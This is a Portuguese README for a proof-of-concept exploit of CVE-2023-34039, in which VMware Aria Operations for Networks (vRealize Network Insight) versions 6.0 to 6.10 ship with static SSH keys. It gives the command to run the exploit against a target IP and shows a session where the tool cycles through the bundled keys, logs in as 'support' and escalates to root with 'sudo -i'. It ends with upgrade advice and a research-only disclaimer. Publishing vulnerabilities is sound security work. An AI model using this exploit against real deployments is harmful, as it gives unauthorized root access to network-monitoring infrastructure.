
VMWare Aria Operations for Networks (vRealize Network Insight) RCE por chave SSH estática (CVE-2023-34039)
POC para CVE-2023-34039 VMWare Aria Operations for Networks (vRealize Network Insight) RCE por chave SSH estática
Uma análise de causa raiz da vulnerabilidade pode ser encontrada no meu blog:
https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/

VMWare Aria Operations for Networks (vRealize Network Insight) das versões 6.0 a 6.10 não regenerava as chaves SSH para os usuários support e ubuntu, permitindo que um atacante com acesso SSH obtivesse acesso a um shell root neste produto.
Este problema foi relatado à VMWare por Harsh Jaiswal (@rootxharsh) e Rahul Maini (@iamnoooob) na ProjectDiscovery Research
Eu apenas escrevi o exploit, se é que podemos chamá-lo assim, porque é basicamente um wrapper de comando SSH.
python CVE-2023-34039.py --target 192.168.1.16
(!) VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)
(*) Exploit by Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
(*) Trying key: keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_collector
(*) Trying key: keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_platform
(*) Trying key: keys/vrni-6.10.0/id_rsa_vnera_keypair_6.10.0_platform
********************************** ATTENTION **********************************
NTP Service is not healthy.
IMPACT: It may affect the proper working of other services.
ACTION: Restore the service using 'ntp' CLI command.
********************************** ATTENTION **********************************
support@vrni-platform-release:~$ sudo -i
root@vrni-platform-release:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vrni-platform-release:~# hostname
vrni-platform-release
root@vrni-platform-release:~#
Atualize para a versão mais recente ou mitigue seguindo as instruções do Progress Advisory
Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado. Os mantenedores do projeto não são responsáveis pelo uso indevido do software. Use com responsabilidade.